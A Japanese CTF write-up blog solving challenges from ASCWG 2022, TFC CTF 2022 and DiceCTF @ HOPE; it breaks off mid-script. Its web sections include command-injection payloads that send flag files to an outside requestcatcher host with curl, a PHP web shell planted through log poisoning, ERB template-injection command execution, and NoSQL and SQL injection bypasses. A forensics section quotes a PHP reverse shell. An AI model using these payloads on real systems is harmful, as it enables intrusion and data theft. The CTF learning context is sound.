[Forensic] Persistent Ghost

Windowsで永続化と言えばASEP(:AutoStart Extensibility Points)を悪用したものなので、関連キーワードで検索していく。

RunOnceで検索すると、

Key Name:          HKEY_USERS\S-1-5-21-901556830-2814386773-1323051072-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Class Name:        <NO CLASS>
Last Write Time:   7/24/2022 - 9:10 PM
Value 0
  Name:            OneDrive
  Type:            REG_SZ
  Data:            "C:\Users\CAIOS\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background

Value 1
  Name:            Part-II
  Type:            REG_SZ
  Data:            yZWF0ZUV2ZW50KE5vbmUsMCwwLE5vbmUpCiAgICAgICAgc29ja2V0LnNldGRlZmF1bHR0aW1lb3V0KCIxMzM3X0hhY2tlcnpfIikKCiAgICBkZWYgU3ZjU3RvcChzZWxmKToKICAgICAgICBzZWxmLlJlcG9ydFNlcnZpY2VTdGF0dXMod2luMzJzZXJ2aWNlLlNFUlZJQ0VfU1RPUF9QRU5ESU5HKQogICAgICAgIHdpbjMyZXZlbnQuU2V0RXZlbnQoc2VsZi5oV2FpdFN0b3ApCgogICAgZGVmIFN2Y0RvUnVuKHNlbGYpOgogICAgICAgIHNlcnZpY2VtYW5hZ2VyLkxvZ01zZyhzZXJ2aWNlbWFuYWdlci5FVkVOVExPR19JTkZPUk1BVElPTl9UWVBFLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXJ2aWNlbWFuYWdlci


Key Name:          HKEY_USERS\S-1-5-21-901556830-2814386773-1323051072-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Class Name:        <NO CLASS>
Last Write Time:   7/24/2022 - 10:10 PM

こんな感じのものが見つかる。
最初はスルーしたが、Part-IIという意味深なものがあるので、Part-Iで検索するとIからIIIまであった。
全部持ってきて結合すると、以下のようにいかにもbase64

aW1wb3J0IHdpbjMyc2VydmljZXV0aWwKaW1wb3J0IHdpbjMyc2VydmljZQppbXBvcnQgd2luMzJldmVudAppbXBvcnQgc2VydmljZW1hbmFnZXIKaW1wb3J0IHNvY2tldAoKCmNsYXNzIEFwcFNlcnZlclN2YyAod2luMzJzZXJ2aWNldXRpbC5TZXJ2aWNlRnJhbWV3b3JrKToKICAgIF9zdmNfbmFtZV8gPSAiQVNDV0d7IgogICAgX3N2Y19kaXNwbGF5X25hbWVfID0gIlAzcnMxc3RlbmMzXzFzIgoKICAgIGRlZiBfX2luaXRfXyhzZWxmLGFyZ3MpOgogICAgICAgIHdpbjMyc2VydmljZXV0aWwuU2VydmljZUZyYW1ld29yay5fX2luaXRfXyhzZWxmLGFyZ3MpCiAgICAgICAgc2VsZi5oV2FpdFN0b3AgPSB3aW4zMmV2ZW50LkNyZWF0ZUV2ZW50KE5vbmUsMCwwLE5vbmUpCiAgICAgICAgc29ja2V0LnNldGRlZmF1bHR0aW1lb3V0KCIxMzM3X0hhY2tlcnpfIikKCiAgICBkZWYgU3ZjU3RvcChzZWxmKToKICAgICAgICBzZWxmLlJlcG9ydFNlcnZpY2VTdGF0dXMod2luMzJzZXJ2aWNlLlNFUlZJQ0VfU1RPUF9QRU5ESU5HKQogICAgICAgIHdpbjMyZXZlbnQuU2V0RXZlbnQoc2VsZi5oV2FpdFN0b3ApCgogICAgZGVmIFN2Y0RvUnVuKHNlbGYpOgogICAgICAgIHNlcnZpY2VtYW5hZ2VyLkxvZ01zZyhzZXJ2aWNlbWFuYWdlci5FVkVOVExPR19JTkZPUk1BVElPTl9UWVBFLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXJ2aWNlbWFuYWdlci5QWVNfU0VSVklDRV9TVEFSVEVELAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoc2VsZi5fc3ZjX25hbWVfLCcnKSkKICAgICAgICBzZWxmLm1haW4oKQoKICAgIGRlZiBtYWluKHNlbGYpOgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICdfX21haW5fXyc6CiAgICB3aW4zMnNlcnZpY2V1dGlsLkhhbmRsZUNvbW1hbmRMaW5lKEFwcFNlcnZlclN2YykKICAgIHByaW50KCJzazFsbHp9Iik=

デコードすると

import win32serviceutil
import win32service
import win32event
import servicemanager
import socket


class AppServerSvc (win32serviceutil.ServiceFramework):
    _svc_name_ = "ASCWG{"
    _svc_display_name_ = "P3rs1stenc3_1s"

    def __init__(self,args):
        win32serviceutil.ServiceFramework.__init__(self,args)
        self.hWaitStop = win32event.CreateEvent(None,0,0,None)
        socket.setdefaulttimeout("1337_Hackerz_")

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        win32event.SetEvent(self.hWaitStop)

    def SvcDoRun(self):
        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,
                              servicemanager.PYS_SERVICE_STARTED,
                              (self._svc_name_,''))
        self.main()

    def main(self):
        pass

if __name__ == '__main__':
    win32serviceutil.HandleCommandLine(AppServerSvc)
    print("sk1llz}")

もうほぼほぼ答えですね、、、
適当につなげてフラグを作る。

ASCWG{P3rs1stenc3_1s1337_Hackerz_sk1llz}

[forensic] Walk Down Memory Lane (2)

ダンプファイルなので、WinDbgを開いて…と思ったが、strings Microsoft.dmp | grep ASCWGとしたらフラグっぽいのが出てきて、提出したら正解だった…

ASCWG{W1ndbG!$Sup3R_C0o1}

修正版も適当にgrepしたら解けました…
ずるをしました。(懺悔)
前問の出力を見ながら適当にgrepするとそれっぽい文字列が出てくる。
strings Microsoft.dmp | grep "\id="でフラグっぽいのが出てきたから、提出したら答え。

[forensic] Warmup 1

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Wireless]
@="192.168.1.134"

これがそれっぽい。sha1sumでハッシュを作り、フォーマットを合わせれば正解だった。

$ echo '192.168.1.134' | sha1sum
7b4be24b7e1f4ef01ebb62fce8fe3470857edaf7  -

ASCWG{7b4be24b7e1f4ef01ebb62fce8fe3470857edaf7}

[forensic] Warmup 2

strings Challenge.jpg -n 10すると、何やらコード片が見つかる。

%20%24sock%3Dfsockopen%28%22192%2E168%2E1%2E105%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

URLデコードすると

$sock=fsockopen("192.168.1.105",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

IPアドレスが得られたので、sha1sumして形式を合わせて提出。

─$ echo '192.168.1.105' | sha1sum
cc0e30c2dc233fc58591c987c4eaf751ff25132b  -

ASCWG{cc0e30c2dc233fc58591c987c4eaf751ff25132b}

[forensic] Weird FS

FTK Imagerでとりあえず開く。
探索すると、Partition 1のvolume_0/root/Flag.zipというのがある。
解凍しようとするとパスワードを聞かれるのでjohnとrockyouでクラックを試す。

$ zip2john Flag.zip > h
ver 1.0 efh 5455 efh 7875 Flag.zip/Flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=35, decmplen=23, crc=A0A972CC ts=904C cs=904c type=0

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
...
juelma           (Flag.zip/Flag.txt)     
...

パスワードはjuelmaのようなので解凍するとフラグが得られる。

ASCWG{M4C_4N6_1$_Co0l}

[web] konan

adminと打つと次に進む。
OTPを要求されるが、適当に打ってもダメ。
OTPを送るときにPOST /otp/verifyを送信するが、その応答のerrorsをinterceptしてfalseに変えてやるとOTP検証をbypassできる。
HackerOneか、BugBountyのWriteupでこういうbypass方法見たことあるな。

ASCWG{@$CASQWsd#w8_3232_xasw_xas@1da_easy}


以下復習

[web] Drunken Developer

ログインする必要がある。
ソースを見ると<!-- Temp mail in development time wars_admin2@vistaemail.com -->とあるのでアドレスはわかった。 このvistaemail.comというのは捨てアドサービスであり、検索すれば受信フォルダがみられる。
なので、あとはパスワード変更をこの受信フォルダを使って行ってログインする。

[web] Evil Volunteer

Arab Security Cyber WarGames - Championship 2022 | Mr-R19HT

あーなるほど、画像ファイルをそのまま出力することができるので、コメントにphpコードを埋め込めばRCE可能。

[web] Kenzy

ソースコード<!-- Username =====> admin -->とあるので、ユーザー名はadmin。
captchaはレスポンスに答えが載っているのでそれを渡すだけでbypass可能。
あとはパスワードに' or ''='を入れるとSQL injectionができたので、captchaをbypassしながらBlind SQL Injectionするとフラグが得られる…はず

はずだが、何かに阻まれて刺さらない…

ASC Wargames Qualifications 2022| Kenzy | Web Challenge Write-up | by Adham A. Makroum | Aug, 2022 | Medium

フィルタあったのね。ソースコードを下さい…

空白を/**/にして、orはフィルタされるのでoorrとしてbypassする。
あとは、頑張る。

[web] Doctor-X

適当にエラーを出すと、nosqlという文字が見える。

SyntaxError: Unexpected string in JSON at position 33<br> &nbsp; &nbsp;at JSON.parse (&lt;anonymous&gt;)<br> &nbsp; &nbsp;at parse (/home/amr.hamza/Nosql/challenge1/node_modules/body-parser/lib/types/json.js:89:19)<br> &nbsp; &nbsp;at /home/amr.hamza/Nosql/challenge1/node_modules/body-parser/lib/read.js:128:18<br> &nbsp; &nbsp;at AsyncResource.runInAsyncScope (node:async_hooks:202:9)<br> &nbsp; &nbsp;at invokeCallback (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:231:16)<br> &nbsp; &nbsp;at done (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:220:7)<br> &nbsp; &nbsp;at IncomingMessage.onEnd (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:280:7)<br> &nbsp; &nbsp;at IncomingMessage.emit (node:events:539:35)<br> &nbsp; &nbsp;at endReadableNT (node:internal/streams/readable:1345:12)<br> &nbsp; &nbsp;at processTicksAndRejections (node:internal/process/task_queues:83:21)

POST /loginで色々やると

evilman1:evilman1というアカウントを作っておくと
{"name":{"$regex":".*"},"password":"evilman1"}でログイン可能なことに気が付く

同様の手口で色々やっていくと
POST /updatepassword{"id":1,"password":{"$regex":".*"},"newpassword":"kpwiMh88kYPVWX2"}のようにやると特定のidのパスワードを変更できる。
あとは、そのパスワードを使って、POST /login{"name":{"$regex":".*"},"password":"kpwiMh88kYPVWX2"}みたいにすると特定のidにログイン可能。

id=1のユーザーにログインしてPOST /testしてみる

{"_id":"62ed0c4b003ed8a54d5da449","name":"Admin_Cyber_War_Games","id":1,"desc":"Try_Harder","passwords":[{"password":"V3ry_H@rd_P@$$word_2022","_id":"62ed0c4b003ed8a54d5da44a"},{"password":"evilman3'","_id":"62ed4313f1a15a49331a1a58"},{"password":"kpwiMh88kYPVWX","_id":"62ed4322f1a15a49331a1a5b"},{"password":"kpwiMh88kYPVWX","_id":"62ed4347f1a15a49331a1a60"},{"password":"kpwiMh88kYPVWX","_id":"62ed4354f1a15a49331a1a65"},{"password":"kpwiMh88kYPVWX","_id":"62ed435af1a15a49331a1a6b"},{"password":"kpwiMh88kYPVWX2","_id":"62ed4371f1a15a49331a1a6e"}],"tokens":[{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwibmFtZSI6IkFkbWluX0N5YmVyX1dhcl9HYW1lcyIsImlhdCI6MTY1OTcxNjQ2OCwiZXhwIjoxNjU5ODAyODY4fQ.lj3Dkm3fc5DE65d0d9lNQvLfFwBnpftqllSFZhuXkB8","_id":"62ed4374f1a15a49331a1a71"}],"__v":7}

んあー、まだ何かあるのか…
なにがあるの?

ASCWGs Qualifications 2022 CTF ウェブ チャレンジ ライトアップ | ムハンマド・アデル

あ、これでログインすると別のエンドポイントが出てくるのか。
そっちを同じ手口で探索していくとフラグが得られる。

TFC CTF (2022) Writeups

[crypto] BASIC

/Rn/X7n#bUc.rjzh,|eEsg,?&QI;@^ARm}UKOkICi#X.ixEmN]D

Decrypt a Message - Cipher Identifier - Online Code Recognizer
ここで判別してみると、Base91らしい。
Base91 Encoding - Base 91 Online Decoder, Encoder, Translator
ここででコードしてみると、フラグが得られる。

TFCCTF{sh3's_4_10..._but_0n_th3_ph_sc4l3}

[crypto] MAFIOSO

f433c3e883a1389482c0b652660580f36ea037434fd4a67d193bc1cdc9b2cc34をDecrypt a Message - Cipher Identifier - Online Code Recognizer
に与えてみるとSHA-256と言われる。
あー、なるほど。

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
を使って、解析してみると、snitchesgetstitchesが元のようだ。
フォーマットに包んで提出すると正解だった。

TFCCTF{snitchesgetstitches}

[crypto] OBSCURE

文字列をコピーしてstrというファイル名で保存してxxd strで見てみると、フラグっぽい文字と.で見えてくる。

00000000: 54cc b6cd 91cc 8ecd 8bcd 8acc 95cd 9bcd  T...............
00000010: 9dcd 97cc 86cd 90cc 9acc 84cd 82cd 9dcc  ................
00000020: 9acd 80cc 92cd 9bcd 9dcc 95cc 89cc bfcc  ................
00000030: 8fcc 88cd 88cd 8dcc a5cd 9acc adcc 9ccd  ................
00000040: 87cc bbcc a5cc 98cc a8cc b9cc 9dcc a9cd  ................
00000050: 8dcc a6cc a7cc 9ccd 95cd 85cd 89cc a5cc  ................
00000060: b346 ccb6 cc85 cc94 cc9b cc88 cd90 cc95  .F..............
00000070: cd80 ccbe cc8b cd9d cda0 cd8a cd84 cd9b  ................
00000080: cd86 ccbf cc80 cd9d cc93 cd90 cd83 cd8b  ................
00000090: cc95 cc83 cd9b cc83 cd9d cc81 cc91 cc80  ................
...

あとは適当に要らない文字を削除するとフラグが得られる。

TFCCTF{s3cur1ty_thr0ugh_0bscur1ty}

[crypto] TRAIN TO PADDINGTON

雑にやったら解けてしまった感じがある。
FLAGの先頭はTFCCTF{であることはわかっているので、これを暗号化文の先頭とxorすれば鍵の先頭7文字が復元できる。
しかし、そのあとの9文字はわからないので全探索…とも思ったが、ちょっとサイズが大きい。
paddingで\x3fが使われていたのでわからない部分はとりあえずそれで埋めて復元してみる。

b'TFCCTF{?????????_h4s_l3-#S\x14#~T}%4t10n}?th3_tr41n'

何やら末尾に出てきた。確かによくよく考えるとこういう現象が起こる。
\x3fを鍵にすると、パディング埋めとして使っていた\x3fの個数分だけ末尾の鍵が漏洩する。
ちょうど漏洩部分と既知の部分をまとめるとTFCCTF{th3_tr41nとなって、ちょうど1ブロック分になる。
あとは、これを使って復元していくとフラグが得られる。

from Crypto.Util.number import *

enc = long_to_bytes(0xb4b55c3ee34fac488ebeda573ab1f974bf9b2b0ee865e45a92d2f14b7bdabb6ed4872e4dd974e803d9b2ba1c77baf725)
BLOCK_SIZE = 16

FLAG = b'TFCCTF{th3_tr41n'
while len(FLAG) < BLOCK_SIZE:
    FLAG += b'\x3f'

key = b''
for i in range(BLOCK_SIZE):
    key += (enc[i] ^ FLAG[i]).to_bytes(1, 'big')

print(key)

ans = b''

j = 0
for i in range(len(enc)):
    ans += (key[j] ^ enc[i]).to_bytes(1, 'big')
    j += 1
    j %= 16

print(ans) # b'TFCCTF{th3_tr41n_h4s_l3ft_th3_st4t10n}??????????'

[forensics] BBBBBBBBBB

strings chall.jpgしてみるとBBBBBBBBBBがたくさん出てくる。

バイナリエディタで眺めてみてもそれほど気になるところがない。
jpgファイルを開こうとすると壊れているみたいなので、試しにBBBBBBBBBBを削除してみると、jpgファイルが開けてフラグが得られた。
bbe -e 's/\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42//g' chall.jpg > new.jpg

TFCCTF{the_fl4g_1s_th3_w4y}

[forensics] ADDING IN PARTS

zipを解凍してみると大量のzipが出てくる。
中をちらっと見てみると文字が圧縮されているみたいなので、全部解凍して数字の順番に中に入っているファイルに書かれている文字を並べると文字列が出てきて、
答え…かと思ったが、そんな簡単な話ではなさそう。
バイナリを眺めても特に気になるところはないし…と思っていると解凍時にCRCが違うと言われる

試しに0.zipのCompressedDataをTにして、解凍してみると…エラー無しで解凍できますね…
これは面倒なことになったぞ…
やることはCompressedDataを適切に変更してCRCエラーがないものが答えのフラグとして復元できるというもの。
あとは実装。

import shutil
import zipfile

def update(idx, c):
    with open(f'{idx}.zip', 'rb') as f:
        data = f.read()
    offset = 0x1f
    if 10 <= idx:
        offset += 1
    data = data[:offset] + bytes(c.encode()) + data[offset + 1:]
    with open(f'{idx}.zip', 'wb') as f:
        f.write(data)

num = '0123456789'
cap = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
small = 'abcdefghijklmnopqrstuvwxyz'
symbol = '!@#$%^&*()_\-+=:;<,>.?\/{}'
dic = num + cap + small + symbol
flag = ''

for idx in range(22):
    ok = False
    for c in dic:
        update(idx, c)
        try:
            shutil.unpack_archive(f'{idx}.zip', 'dir_out')
            ok = True
            flag += c
            print(f"[+] find! {flag}")
        except zipfile.BadZipFile:
            pass
        if ok:
            break
    if not ok:
        flag += '?'
        print(f"[+] woops... {flag}")

print(f"[*] Here we go! {flag}")

こんな感じでファイルの内容を全探索してCRCが正しくなるまで試して、ちゃんと解凍できる(CRCが正しい)ならばフラグとして採用する。
これを繰り返すとフラグが出てくる…はずだが、10.zipのファイル名(アドレス0x1eと0x1fの部分)がなぜか11になっていて10に直すとちゃんと動く。

TFCCTF{ch3cksum2_g0od}

[misc] PATTERN

入力としてcountは1固定とすると任意の文字列を差し込めることになる。
{message}と入力すると、messageの内容を再度表示させることができる。
ここで面白いのが{message.__class__}とすると、クラスを参照することができる。
言われてみればそうなのだが、言われるまで気づかない。

あとはSSTIでもあるような感じで組み立てて探していく。
{message.__class__.__init__.__globals__}とするとフラグが得られた。

$ nc 01.linux.challenges.ctf.thefewchosen.com 58776
pattern> {message.__class__.__init__.__globals__}
count> 1
Here is your pattern: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fdddb543c10>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/main.py', '__cached__': None, 'dataclasses': <module 'dataclasses' from '/usr/local/lib/python3.10/dataclasses.py'>, 'errno': <module 'errno' (built-in)>, 'os': <module 'os' from '/usr/local/lib/python3.10/os.py'>, 'random': <module 'random' from '/usr/local/lib/python3.10/random.py'>, 'FLAG': 'TFCCTF{Th15_G1vEs_pr1ntf_v1b35}', 'Message': <class '__main__.Message'>, 'MESSAGES': [Thank you for using our service., Here is your pattern:, Until next time!], 'pattern': 
'{message.__class__.__init__.__globals__}', 'count': 1, 'final_pattern': '{message.__class__.__init__.__globals__}'}

[pwn] RANDOM

$ file random
random: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=defd9a2d9f6d0a4ec5067bc2ed810ee1444ea52c, for GNU/Linux 3.2.0, not stripped

$ checksec random 
[*] '/mnt/c/Users/eric/Downloads/TFC CTF/pwn-random/random'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ふむ…ghidraでCに戻してみる。

puts("Menu: \n1. Generate number");
__isoc99_scanf(&DAT_0010201e,&local_14);
if (local_14 == 1) {
    uVar1 = rand();
    printf("%d",(ulong)uVar1);
}
else if (local_14 == 0x539) {
    pcVar3 = getenv("FLAG");
    printf("%s",pcVar3);
}

こういう感じなので、入力に0x539、つまり1337を入れればフラグが手に入る。

$ nc 01.linux.challenges.ctf.thefewchosen.com 51657
Menu: 
1. Generate number
1337
TFCCTF{Th3r3_w3r3_m0r3_0pt10n5_4ft3r_4ll!}

[reverse] SOURCE

ghidraで見てみたが、面白いc言語のコードは見当たらなかった。
アセンブリを眺めると、フラグっぽいのが見つかる。
strings -n 10 sourceで文字列を抜き出すとフラグっぽいのが見つかる。
そのまま提出すると正解だった。

TFC{3v3ryth1ng_1s_0p3n_5ourc3_1f_y0u try_h4rd_3n0ugh}

[web] ROBOTS AND MUSIC

/にアクセスするとI hope you like robots!と言われる。
robotsと言えば…ということで/robots.txtにアクセスするとDisallow: /g00d_old_mus1c.phpと書いてある。
/g00d_old_mus1c.phpにアクセスするとフラグが書いてある。

TFCCTF{Kr4ftw3rk_4nd_th3_r0b0ts}

[web] PONG

/にアクセスするとリダイレクトが走り、Command executed: ping -c 2 127.0.0.1と出てくる。
URLを見てみると、/index.php?host=127.0.0.1になっている。
かなりコマンドインジェクション感がある。

適当にpayloadを試してみると/index.php?host=127.0.0.1%20%3b%20sleep%203で3秒のwaitが走った。
127.0.0.1 ; sleep 3を入力したことになる。

結果は帰ってこなさそうなので、requestcatcherで受け口を作って、結果を受け取ろう。
127.0.0.1 ; id | curl https://xxx.requestcatcher.com/post -X POST -d @-とするとidの結果が帰ってくる。
これで自由にコマンド実行できるようになったため、色々探索すると
127.0.0.1 ; cat /flag.txt | curl https://xxx.requestcatcher.com/post -X POST -d @-でフラグが手に入る。

つまり、/index.php?host=127.0.0.1%20%3b%20cat%20%2fflag.txt%20%7c%20curl%20https%3a%2f%2fxxx.requestcatcher.com%2fpost%20-X%20POST%20-d%20%40-
フラグ獲得。

TFCCTF{C0mm4nd_1nj3c5i0n_1s_E4sy}

[web] ARE YOU THE ADMIN?

まずはコードリーディングしてみる。
index.tsxの52行目を見るとisAdminがtrueのユーザーが作れればフラグが得られるようだ。
{user.isAdmin && <div>{user.flag}</div>}

ユーザー作成は27行目にあるようにPOST /api/authで作成しているみたい。
/api/authの定義が…見当たらない。
あまりよく理解してないけど、誰かがよしなにやってくれているんだろう。

実際に動かしてみる。
ユーザー名を入力してボタンをクリックすると、コードにもあったようにPOST /api/authがリクエストされた。
そのあと、謎のjsonファイルが戻ってきて、画面に応答が帰ってきている。

/api/authは自分で定義しているわけではないのでリクエストを見て色々判断していると想像し、
POSTリクエストをinterceptして、{"username":"abc2", "isAdmin":true}のようにbodyを入れ替えた。
するとisAdmin=trueのアカウントが作成できたようでフラグが手に入る。

TFCCTF{S4n1t1z3_Y0ur_1nput5!}

[web] DEEPLINKS

/にアクセスするとnothing to see hereと言われる。
ノーヒントすぎるので、問題文を読み返す。

My intern configured my iOS app and my website to handle deeplinks, but they didn't tell me the path :( Can you help me find it?

UAとかをiOSのそれに変えてみたりしたが、最終的に以下の情報が参考になった。 モバイルアプリにおけるディープリンクとメルカリShopsでの実装 | メルカリエンジニアリング
UniversalLinksの実装には、アプリ側でディープリンクとして扱いたいURLのドメインを指定し、
そのドメインの.well-known/以下にapple-app-site-associationというファイルを設置する必要があります。

あー、なんかレポートで見たことあるな。
それね。

/.well-known/apple-app-site-associationにアクセスすると謎のファイルがダウンロードされてきて、中にフラグが書いてある。

TFCCTF{4ppl3_4pp_51t3_4550c14t10n}

[web] CALENDAR

珍しい!wordpressのサイトが与えられる。
The flag is format :TFCCTF{FOUNDPASSWORD}とあるのでパスワードを特定する必要がありそう。

Burpに残っているリクエストを見てみると、
/wp-content/plugins/modern-events-calendar-lite/assets/js/frontend.js?ver=5.16.2
というのが残っている。
キャッシュパージのためにバージョンが使われているのでModern Events Calendar 5.16.2が入っていることがわかる。
調べると色々脆弱性が出てくる。

RCEもあるっぽいがパスワードを抜きたいので、試しにこれを使ってみる。
Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated) - PHP webapps Exploit
Exploitを持ってきてpython3 50084.py -T 01.linux.challenges.ctf.thefewchosen.com -P 52451 -U ""のように動かす。

['ID', 'Title', 'Start Date', 'Start Time', 'End Date', 'End Time', 'Link', 'Location', 'Address', 'Organizer', 'Organizer Tel', 'Organizer Email', 'Event Cost']
['5', 'give the developer the password from the wp site-> user:admin , password:WPNe3MgF$sNj8E8F6d', '2022-07-27', '8:00 am', '2022-07-27', '6:00 pm', 'http://01.linux.challenges.ctf.thefewchosen.com:52451/?mec-events=give-the-developer-the-password-from-the-wp-site-useradmin-passwordwpne3mgfsnj8e8f6d', '', '', '', '', '', '']

いい感じにパスワードっぽいのが抜けてきた。
フォーマットを合わせると、フラグ完成。

TFCCTF{WPNe3MgF$sNj8E8F6d}

[web] DIAMONDS

Write something nice here that passes our regexと言われる。
適当に文字を入れるとecho backされてくる。
適当に記号を入れるとThat is far away from nice !!と言われる。
全文字種を送りつけて反応を見てみたが、A-Za-z0-9ならecho backされて、記号ならほにゃららnice !!と言われるくらいしか変化がない。
何を要求されているのか全くわからん。

色々試すとinput=%81でエラーを出せた。

/app/app/controllers/input.rb in block in <class:Animated_template>
    if params[:input] =~ /^[0-9a-z ]+$/i
/usr/local/lib/ruby/2.7.0/webrick/httpserver.rb in service
      si.service(req, res)
/usr/local/lib/ruby/2.7.0/webrick/httpserver.rb in run
          server.service(req, res)
/usr/local/lib/ruby/2.7.0/webrick/server.rb in block in start_thread
          block ? block.call(sock) : run(sock)

/^[0-9a-z ]+$/i正規表現らしい。
改行とかでbypassできそうか。
%23%0d%0aABCとやると# ABCと出てきた。OK。
SSTIを疑って適当に試すと%3c%25%3d%206*6%20%25%3e%0d%0aABCで刺さる。
PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings
この辺を参考にしながら色々やると、%3c%25%3d%20%60ls%60%20%25%3e%0d%0aABCでlsができる。
flag.txtがあるので表示するとフラグが手に入る。

TFCCTF{02718f35dddc266e0ac40c0c0dcc98c34edd545678dc752ba9831b6d73bc706f}

[web] INCLUDE WHAT MATTERS.

/?file=test.txtはファイルがないらしい。

Warning: include(test.txt): Failed to open stream: No such file or directory in /var/www/html/index.php on line 25

Warning: include(): Failed opening 'test.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 25

/?file=/etc/passwdでpasswdファイル出ていたからLFIはできる。
php://filter/convert.base64-encode/resource=index.phpでindex.phpの中身を見てみよう。

    <?php
    echo "<a class=\"btn btn-primary\" href=\".?file=test.txt\" /> Your test </a><br><br>";
    if(isset($_GET['file'])){
       $file=$_GET['file'];
       $file=str_replace("../","",$file);
       include('' . $file);
}
    ?>

抜粋してみたが、特に面白くないな。
/var/log/apache2/access.logとUser-Agent使ってRCEまでつなげるアレを試すとうまくいく。

GET /?file=test.txt HTTP/1.1
Host: 01.linux.challenges.ctf.thefewchosen.com:50259
Upgrade-Insecure-Requests: 1
User-Agent: <?=`$_GET[0]`; ?>

のようなリクエストを送っておいて、
GET /?file=%2fvar%2flog%2fapache2%2faccess.log&0=id
のようにやればコマンド実行できる。

requestcatcherあたりを使ってダイレクトに応答をもらってきながら探索すると/hidden_fl4g.txtにフラグがあることがわかる。

0=cat%20%2fhidden_fl4g.txt%20%7c%20curl%20https%3a%2f%2fxxx.requestcatcher.com%2ftest%20-X%20POST%20-d%20%40-のような感じでコマンドを送るとフラグ獲得。

TFCCTF{LF1_1S_D4NG3R0US_4ND_L34DS_T0_RC3}

DiceCTF @ HOPE Writeups

CTFtime.org / DiceCTF @ HOPE

[crypto] obp

random.randrange(256)と1byte分の鍵が作られている。
鍵でxorして暗号文が作られているが、plaintextの先頭はフラグがhopeから始まると思うので、key = 0xba ^ ord('h')という感じで復元できる。
あとは1byteずつkeyでxorしてフラグを復元していこう。

from Crypto.Util.number import *

ciphertext = long_to_bytes(0xbabda2b7a9bcbda68db38dbebda68dbdb48db9b7aba18dbfb6a2aaa7a3beb1a2bfb7b5a3a7afd8)
key = 0xba ^ ord('h')

plaintext = ""
for c in ciphertext:
    plaintext += chr(c ^ key)
print(plaintext) # -> hope{not_a_lot_of_keys_mdpxuqlcpmegqu}

[crypto] pem

単に暗号化しているので、復号化すればいい。
PKCS#1 OAEP (RSA) — PyCryptodome 3.15.0 documentation
以上を参考に適当に復号スクリプトを書くとフラグが得られる

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

key = RSA.importKey(open('privatekey.pem').read())
cipher_rsa = PKCS1_OAEP.new(key)
flag = cipher_rsa.decrypt(open("encrypted.bin", "rb").read())

print(flag) # -> hope{crypto_more_like_rtfm_f280d8e}

[crypto] kfb

鍵は16bytes。暗号文は77bytesなので、平文も77bytesになる。

暗号化プロセスを見てみると、
encrypt(k, pt) = AES.ECB(k,k) ^ pt
という感じになっている。

自由入力に対して同じ暗号化プロセスを適用できるので、得られた暗号文に対して再度暗号化してみよう。

encrypt(k, encrypt(k, pt))
= AES.ECB(k,k) ^ encrypt(k, pt)
= AES.ECB(k,k) ^ AES.ECB(k,k) ^ pt
= pt

すると、ちょうどptに戻ってくれるので、これで復元していく。
入力値は1回で1BLOCK分(16bytes)しか暗号化してくれないので、先頭から順番に復号化していく。

from pwn import *
from Crypto.Util.number import *
from Crypto.Util.strxor import *

flag = b""

for i in range(77 // 16):
    with remote("mc.ax", 31968) as r:
        r.readuntil(b'> ')
        enc1_hex = r.readuntil(b'\n')[:-1]
        enc1 = long_to_bytes(int(enc1_hex, 16))
        r.sendlineafter(b"< ", enc1_hex[i * 32:])
        enc2 = long_to_bytes(int(r.readuntil(b'\n')[2:-1], 16))
        print(enc2)
        flag += enc2[:16]

print(flag) # -> b'hope{kfb_should_stick_to_stuff_he_knows_b3358db7e883ed54}\x07\x07\x07\x07\x07\x07\x07'

[misc] orphan

zipを回答すると、.gitファイルが大量に出てくる。
git reflogをしてみると最後のコミット以外にコミットがもう1つ見える。

$ git reflog
2ce03bc (HEAD -> main) HEAD@{0}: checkout: moving from flag to main
b53c9e6 HEAD@{1}: commit (initial): add flag
2ce03bc (HEAD -> main) HEAD@{2}: checkout: moving from flag to main
2ce03bc (HEAD -> main) HEAD@{3}: commit (initial): add foo

git show b53c9e6でコミット内容を見てみるとフラグがある。

hope{ba9f11ecc3497d9993b933fdc2bd61e5}

[rev] slices

コードを見ながら、slice構文に従って以下のように復元していく。

flag = '?'*32

starts = [0, 31, 5, 4, 3, 6, 7]
steps = [1, 1, 3, 4, 5, 3, 3]
patterns = ['hope{', '}', 'i0_tnl3a0', '{0p0lsl', 'e0y_3l', '_vph_is_t', 'ley0sc_l}']

for start, step, pattern in zip(starts, steps, patterns):
    for i in range(len(pattern)):
